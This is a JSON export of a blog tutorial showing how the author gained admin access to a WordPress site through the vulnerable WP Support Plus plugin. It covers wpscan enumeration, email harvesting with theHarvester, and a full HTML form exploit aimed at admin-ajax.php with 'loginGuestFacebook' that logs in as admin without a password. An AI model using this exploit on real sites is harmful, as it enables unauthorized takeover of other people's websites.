{"id":883,"date":"2020-05-09T04:10:47","date_gmt":"2020-05-09T03:10:47","guid":{"rendered":"http:\/\/zerothcode.com\/blog\/?p=883"},"modified":"2020-09-28T18:06:24","modified_gmt":"2020-09-28T17:06:24","slug":"privilege-escalation-hello-admin","status":"publish","type":"post","link":"https:\/\/zerothcode.com\/blog\/privilege-escalation-hello-admin\/","title":{"rendered":"Privilege Escalation &#8211; Hello Admin"},"content":{"rendered":"<p id=\"1638\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\"><strong class=\"ft gl\">Summary :<\/strong><\/p>\n<p id=\"d577\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">Hello everyone, today I\u2019m going to show you how I found a\u00a0<strong class=\"ft gl\"><em class=\"gm\">Privilege Escalation<\/em><\/strong>\u00a0in WordPress website that was using a vulnerable plugin. I was using wappalyzer and was able to detect that the website was using WordPress CMS (Content Management System), so the first thing I tried was \u201c<strong class=\"ft gl\"><em class=\"gm\">wpscan\u201d<\/em><\/strong>\u00a0and got so many vulnerable plugins and some default credentials so I exploited the vulnerability using one exploit available on exploit-db.<\/p>\n<p id=\"188e\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\"><strong class=\"ft gl\">What is Privilege Escalation ?<\/strong><\/p>\n<p id=\"9afe\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">Privilege escalation, in simple words, means getting privileges to access something that should not be accessible. Attackers use various privilege escalation techniques to access unauthorized resources.<\/p>\n<p id=\"bd1c\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">Privilege escalation was possible because the plugin was using a vulnerable function called \u201c<strong class=\"ft gl\">wp_set_auth_cookie()\u201d<\/strong><\/p>\n<p id=\"4c5d\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\"><strong class=\"ft gl\">What is\u00a0<em class=\"gm\">wp_set_auth_cookie()<\/em>\u00a0function ?<\/strong><\/p>\n<p id=\"1a7a\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">This function filters the duration of the authentication cookie expiration period and also checks if the connection is secure or not. It is also used to secure a login cookie and fires immediately before the authentication cookie is set.<\/p>\n<p id=\"eb6d\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\"><strong class=\"ft gl\">Syntax :<\/strong><\/p>\n<p id=\"a469\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">wp_set_auth_cookie( int $user_id, bool $remember = false, bool|string $secure =\u2019 \u2019, string $token = \u2018 \u2018)<\/p>\n<p id=\"452c\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">It sets the authentication cookies based on user ID.<\/p>\n<p id=\"8c90\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\"><strong class=\"ft gl\">Description :<\/strong><\/p>\n<p id=\"f63e\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">The $remember parameter increases the time that the cookie will be kept. The default the cookie is kept without remembering is two days. When $remember is set, the cookies will be kept for 14 days or two weeks.<\/p>\n<p id=\"fc51\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\"><strong class=\"ft gl\">Parameters :<\/strong><\/p>\n<p id=\"9500\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\"><em class=\"gm\">$user_id<\/em><\/p>\n<p id=\"91c5\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">(int) (Required) User ID.<\/p>\n<p id=\"e329\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\"><em class=\"gm\">$remember<\/em><\/p>\n<p id=\"b923\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">(bool) (Optional) Whether to remember the user.<\/p>\n<p id=\"4f6c\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">Default value: false<\/p>\n<p id=\"242e\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\"><em class=\"gm\">$secure<\/em><\/p>\n<p id=\"006a\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">(bool|string) (Optional) Whether the auth cookie should only be sent over HTTPS. Default is an empty string which means the value of\u00a0<strong class=\"ft gl\">is_ssl()<\/strong>\u00a0will be used.<\/p>\n<p id=\"eb80\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">Default value: \u2018 \u2019<\/p>\n<p id=\"1508\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\"><em class=\"gm\">$token<\/em><\/p>\n<p id=\"4961\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">(string) (Optional) User\u2019s session token to use for this cookie.<\/p>\n<p id=\"34d9\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">Default value: \u2018 \u2019<\/p>\n<p id=\"6c04\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\"><strong class=\"ft gl\">Vulnerable Code :<\/strong><\/p>\n<figure class=\"go gp gq gr gs gt co cp paragraph-image\">\n<div class=\"gu gv gw gx ai\">\n<div class=\"co cp gn\">\n<div class=\"hd r gw he\">\n<div class=\"hf hg r\">\n<div class=\"gy gz s t u ha ai av hb hc\"><img loading=\"lazy\" decoding=\"async\" class=\"s t u ha ai hh hi bc sb\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/60\/1*3oTmNIb9YebF9Pj2KiSbVQ.png?q=20\" width=\"937\" height=\"527\" \/><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"my rz s t u ha ai hk\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/937\/1*3oTmNIb9YebF9Pj2KiSbVQ.png\" sizes=\"auto, 700px\" srcset=\"https:\/\/miro.medium.com\/max\/552\/1*3oTmNIb9YebF9Pj2KiSbVQ.png 276w, https:\/\/miro.medium.com\/max\/1104\/1*3oTmNIb9YebF9Pj2KiSbVQ.png 552w, https:\/\/miro.medium.com\/max\/1280\/1*3oTmNIb9YebF9Pj2KiSbVQ.png 640w, https:\/\/miro.medium.com\/max\/1400\/1*3oTmNIb9YebF9Pj2KiSbVQ.png 700w\" width=\"937\" height=\"527\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div><figcaption class=\"hl hm cq co cp hn ho cd eh ei cf ci\" data-selectable-paragraph=\"\">Vulnerable Code<\/figcaption><\/figure>\n<p id=\"f605\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\"><strong class=\"ft gl\">How to find this vulnerability ?<\/strong><\/p>\n<ol class=\"\">\n<li id=\"f969\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge hp hq hr\" data-selectable-paragraph=\"\">Go to your target website that is using WordPress CMS<\/li>\n<li id=\"e832\" class=\"fr gf ap ce ft b fu hs gg fw ht gh fy hu gi ga hv gj gc hw gk ge hp hq hr\" data-selectable-paragraph=\"\">Use the wpscan tool to check for the out-dated plugins, themes, default credentials etc.<\/li>\n<\/ol>\n<p id=\"b4d2\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">My command : wpscan &#8211;url\u00a0<a class=\"bx ff hx hy hz ia\" href=\"https:\/\/target.com\/\" target=\"_blank\" rel=\"noopener nofollow noreferrer\">https:\/\/target.com<\/a>\u00a0&#8211;disable-tls-check &#8211;enumerate u<\/p>\n<ul class=\"\">\n<li id=\"1c17\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge ib hq hr\" data-selectable-paragraph=\"\">&#8211;url : to pass the URL<\/li>\n<li id=\"fac7\" class=\"fr gf ap ce ft b fu hs gg fw ht gh fy hu gi ga hv gj gc hw gk ge ib hq hr\" data-selectable-paragraph=\"\">&#8211;disable-tls-check : disables SSL\/TLS certificate verification<\/li>\n<li id=\"e4af\" class=\"fr gf ap ce ft b fu hs gg fw ht gh fy hu gi ga hv gj gc hw gk ge ib hq hr\" data-selectable-paragraph=\"\">&#8211;enumerate u : to enumerate the users<\/li>\n<\/ul>\n<figure class=\"go gp gq gr gs gt co cp paragraph-image\">\n<div class=\"gu gv gw gx ai\">\n<div class=\"co cp ic\">\n<div class=\"hd r gw he\">\n<div class=\"id hg r\">\n<div class=\"gy gz s t u ha ai av hb hc\"><img loading=\"lazy\" decoding=\"async\" class=\"s t u ha ai hh hi bc sb\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/60\/1*-mP-ke3M7W-WW_21gcAxXw.png?q=20\" width=\"819\" height=\"460\" \/><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"my rz s t u ha ai hk\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/819\/1*-mP-ke3M7W-WW_21gcAxXw.png\" sizes=\"auto, 700px\" srcset=\"https:\/\/miro.medium.com\/max\/552\/1*-mP-ke3M7W-WW_21gcAxXw.png 276w, https:\/\/miro.medium.com\/max\/1104\/1*-mP-ke3M7W-WW_21gcAxXw.png 552w, https:\/\/miro.medium.com\/max\/1280\/1*-mP-ke3M7W-WW_21gcAxXw.png 640w, https:\/\/miro.medium.com\/max\/1400\/1*-mP-ke3M7W-WW_21gcAxXw.png 700w\" width=\"819\" height=\"460\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div><figcaption class=\"hl hm cq co cp hn ho cd eh ei cf ci\" data-selectable-paragraph=\"\">WordPress Scan<\/figcaption><\/figure>\n<p id=\"ae26\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">After the scan is completed you\u2019ll get the result of out-dated and vulnerable things.<\/p>\n<p id=\"e272\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">3. In my case it was vulnerable to\u00a0<em class=\"gm\">\u201cWP Support Plus Responsive Ticket System\u201d<\/em><\/p>\n<figure class=\"go gp gq gr gs gt co cp paragraph-image\">\n<div class=\"gu gv gw gx ai\">\n<div class=\"co cp ic\">\n<div class=\"hd r gw he\">\n<div class=\"id hg r\">\n<div class=\"gy gz s t u ha ai av hb hc\"><img loading=\"lazy\" decoding=\"async\" class=\"s t u ha ai hh hi bc sb\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/60\/1*iCejuCSqGmmiMf3Hd6WgAg.png?q=20\" width=\"819\" height=\"460\" \/><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"my rz s t u ha ai hk\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/819\/1*iCejuCSqGmmiMf3Hd6WgAg.png\" sizes=\"auto, 700px\" srcset=\"https:\/\/miro.medium.com\/max\/552\/1*iCejuCSqGmmiMf3Hd6WgAg.png 276w, https:\/\/miro.medium.com\/max\/1104\/1*iCejuCSqGmmiMf3Hd6WgAg.png 552w, https:\/\/miro.medium.com\/max\/1280\/1*iCejuCSqGmmiMf3Hd6WgAg.png 640w, https:\/\/miro.medium.com\/max\/1400\/1*iCejuCSqGmmiMf3Hd6WgAg.png 700w\" width=\"819\" height=\"460\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div><figcaption class=\"hl hm cq co cp hn ho cd eh ei cf ci\" data-selectable-paragraph=\"\">Vulnerable<\/figcaption><\/figure>\n<p id=\"3234\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">4. Another thing I found was default username<\/p>\n<figure class=\"go gp gq gr gs gt co cp paragraph-image\">\n<div class=\"gu gv gw gx ai\">\n<div class=\"co cp ic\">\n<div class=\"hd r gw he\">\n<div class=\"id hg r\">\n<div class=\"gy gz s t u ha ai av hb hc\"><img loading=\"lazy\" decoding=\"async\" class=\"s t u ha ai hh hi bc sb\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/60\/1*LFo1QDE-_9IkEMPVIK4jnQ.png?q=20\" width=\"819\" height=\"460\" \/><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"my rz s t u ha ai hk\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/819\/1*LFo1QDE-_9IkEMPVIK4jnQ.png\" sizes=\"auto, 700px\" srcset=\"https:\/\/miro.medium.com\/max\/552\/1*LFo1QDE-_9IkEMPVIK4jnQ.png 276w, https:\/\/miro.medium.com\/max\/1104\/1*LFo1QDE-_9IkEMPVIK4jnQ.png 552w, https:\/\/miro.medium.com\/max\/1280\/1*LFo1QDE-_9IkEMPVIK4jnQ.png 640w, https:\/\/miro.medium.com\/max\/1400\/1*LFo1QDE-_9IkEMPVIK4jnQ.png 700w\" width=\"819\" height=\"460\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div><figcaption class=\"hl hm cq co cp hn ho cd eh ei cf ci\" data-selectable-paragraph=\"\">Default Username<\/figcaption><\/figure>\n<p id=\"f00e\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">5. I searched for the vulnerability on google and found an exploit on\u00a0<a class=\"bx ff hx hy hz ia\" href=\"https:\/\/www.exploit-db.com\/\" target=\"_blank\" rel=\"noopener nofollow noreferrer\">https:\/\/www.exploit-db.com\/<\/a><\/p>\n<figure class=\"go gp gq gr gs gt co cp paragraph-image\">\n<div class=\"gu gv gw gx ai\">\n<div class=\"co cp ie\">\n<div class=\"hd r gw he\">\n<div class=\"if hg r\">\n<div class=\"gy gz s t u ha ai av hb hc\"><img loading=\"lazy\" decoding=\"async\" class=\"s t u ha ai hh hi bc sb\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/60\/1*l3gqxF33CrjXsiPeeHshBA.png?q=20\" width=\"1342\" height=\"463\" \/><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"my rz s t u ha ai hk\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/1342\/1*l3gqxF33CrjXsiPeeHshBA.png\" sizes=\"auto, 700px\" srcset=\"https:\/\/miro.medium.com\/max\/552\/1*l3gqxF33CrjXsiPeeHshBA.png 276w, https:\/\/miro.medium.com\/max\/1104\/1*l3gqxF33CrjXsiPeeHshBA.png 552w, https:\/\/miro.medium.com\/max\/1280\/1*l3gqxF33CrjXsiPeeHshBA.png 640w, https:\/\/miro.medium.com\/max\/1400\/1*l3gqxF33CrjXsiPeeHshBA.png 700w\" width=\"1342\" height=\"463\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div><figcaption class=\"hl hm cq co cp hn ho cd eh ei cf ci\" data-selectable-paragraph=\"\">Exploit<\/figcaption><\/figure>\n<p id=\"b281\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">6. Then I saw the exploit code and it was a simple HTML login form<\/p>\n<pre class=\"go gp gq gr gs ig ih ii\"><span id=\"f7f1\" class=\"ij ik ap ce il b ei im in r io\" data-selectable-paragraph=\"\">&lt;form method=\"post\" action=\"http:\/\/target.com\/wp-admin\/admin-ajax.php\"&gt;\r\n\tUsername: &lt;input type=\"text\" name=\"username\" value=\"admin\"&gt;\r\n\t&lt;input type=\"hidden\" name=\"email\" value=\"<strong class=\"il gl\">EMAIL<\/strong>\"&gt;\r\n\t&lt;input type=\"hidden\" name=\"action\" value=\"loginGuestFacebook\"&gt;\r\n\t&lt;input type=\"submit\" value=\"Login\"&gt;\r\n&lt;\/form&gt;<\/span><span id=\"94dc\" class=\"ij ik ap ce il b ei ip iq ir is it in r io\" data-selectable-paragraph=\"\">Then go to admin panel.<\/span><\/pre>\n<p id=\"add3\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">So I saved it as .html and ran the script but before that I saw that it needs an email for exploiting it, so I enumerated the site using\u00a0<strong class=\"ft gl\"><em class=\"gm\">\u201ctheharvester\u201d\u00a0<\/em><\/strong>tool (<a class=\"bx ff hx hy hz ia\" href=\"https:\/\/github.com\/laramies\/theHarvester\" target=\"_blank\" rel=\"noopener nofollow noreferrer\">https:\/\/github.com\/laramies\/theHarvester<\/a>) and found 4 emails out of which one helped me to make the exploit successful.<\/p>\n<p id=\"4eee\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">7. Then I ran a simple python script for transferring file via port 80<\/p>\n<figure class=\"go gp gq gr gs gt co cp paragraph-image\">\n<div class=\"gu gv gw gx ai\">\n<div class=\"co cp ic\">\n<div class=\"hd r gw he\">\n<div class=\"id hg r\">\n<div class=\"gy gz s t u ha ai av hb hc\"><img loading=\"lazy\" decoding=\"async\" class=\"s t u ha ai hh hi bc sb\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/60\/1*moEnJtVLcS5O7af_fddAyg.png?q=20\" width=\"819\" height=\"460\" \/><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"my rz s t u ha ai hk\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/819\/1*moEnJtVLcS5O7af_fddAyg.png\" sizes=\"auto, 700px\" srcset=\"https:\/\/miro.medium.com\/max\/552\/1*moEnJtVLcS5O7af_fddAyg.png 276w, https:\/\/miro.medium.com\/max\/1104\/1*moEnJtVLcS5O7af_fddAyg.png 552w, https:\/\/miro.medium.com\/max\/1280\/1*moEnJtVLcS5O7af_fddAyg.png 640w, https:\/\/miro.medium.com\/max\/1400\/1*moEnJtVLcS5O7af_fddAyg.png 700w\" width=\"819\" height=\"460\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div><figcaption class=\"hl hm cq co cp hn ho cd eh ei cf ci\" data-selectable-paragraph=\"\">Python HTTP Server<\/figcaption><\/figure>\n<p id=\"24f0\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">8. I ran the exploit which I saved as .html and got a successful login to admin<\/p>\n<figure class=\"go gp gq gr gs gt co cp paragraph-image\">\n<div class=\"gu gv gw gx ai\">\n<div class=\"co cp ic\">\n<div class=\"hd r gw he\">\n<div class=\"id hg r\">\n<div class=\"gy gz s t u ha ai av hb hc\"><img loading=\"lazy\" decoding=\"async\" class=\"s t u ha ai hh hi bc sb\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/60\/1*ChQZD3LRtbUbgo1gio-Szg.png?q=20\" width=\"819\" height=\"460\" \/><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"my rz s t u ha ai hk\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/819\/1*ChQZD3LRtbUbgo1gio-Szg.png\" sizes=\"auto, 700px\" srcset=\"https:\/\/miro.medium.com\/max\/552\/1*ChQZD3LRtbUbgo1gio-Szg.png 276w, https:\/\/miro.medium.com\/max\/1104\/1*ChQZD3LRtbUbgo1gio-Szg.png 552w, https:\/\/miro.medium.com\/max\/1280\/1*ChQZD3LRtbUbgo1gio-Szg.png 640w, https:\/\/miro.medium.com\/max\/1400\/1*ChQZD3LRtbUbgo1gio-Szg.png 700w\" width=\"819\" height=\"460\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div><figcaption class=\"hl hm cq co cp hn ho cd eh ei cf ci\" data-selectable-paragraph=\"\">Exploit<\/figcaption><\/figure>\n<p id=\"b59c\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">9. As you can see we are logged in as admin without knowing the password. It happened because of incorrect usage of wp_set_auth_cookie().<\/p>\n<figure class=\"go gp gq gr gs gt co cp paragraph-image\">\n<div class=\"gu gv gw gx ai\">\n<div class=\"co cp iu\">\n<div class=\"hd r gw he\">\n<div class=\"iv hg r\">\n<div class=\"gy gz s t u ha ai av hb hc\"><img loading=\"lazy\" decoding=\"async\" class=\"s t u ha ai hh hi bc sb\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/60\/1*m13HqqP19N867ZU6aSpH0w.png?q=20\" width=\"826\" height=\"333\" \/><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"my rz s t u ha ai hk\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/826\/1*m13HqqP19N867ZU6aSpH0w.png\" sizes=\"auto, 700px\" srcset=\"https:\/\/miro.medium.com\/max\/552\/1*m13HqqP19N867ZU6aSpH0w.png 276w, https:\/\/miro.medium.com\/max\/1104\/1*m13HqqP19N867ZU6aSpH0w.png 552w, https:\/\/miro.medium.com\/max\/1280\/1*m13HqqP19N867ZU6aSpH0w.png 640w, https:\/\/miro.medium.com\/max\/1400\/1*m13HqqP19N867ZU6aSpH0w.png 700w\" width=\"826\" height=\"333\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div><figcaption class=\"hl hm cq co cp hn ho cd eh ei cf ci\" data-selectable-paragraph=\"\">Logged In as Admin<\/figcaption><\/figure>\n<p id=\"162a\" class=\"fr gf ap ce ft b fu fv gg fw fx gh fy fz gi ga gb gj gc gd gk ge cx\" data-selectable-paragraph=\"\">Thank You \ud83d\ude42<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Summary : Hello everyone, today I\u2019m going to show you how I found a\u00a0Privilege Escalation\u00a0in WordPress website that was using<\/p>\n","protected":false},"author":1,"featured_media":884,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[51],"tags":[],"yst_prominent_words":[1285,1212,351,1284,1289,1281,1288,1293,320,1158,1280,1292,1279,1286,1290,1291,1282,848,1287,1283],"class_list":["post-883","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tutorials"],"_links":{"self":[{"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/posts\/883","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/comments?post=883"}],"version-history":[{"count":0,"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/posts\/883\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/media\/884"}],"wp:attachment":[{"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/media?parent=883"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/categories?post=883"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/tags?post=883"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/yst_prominent_words?post=883"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}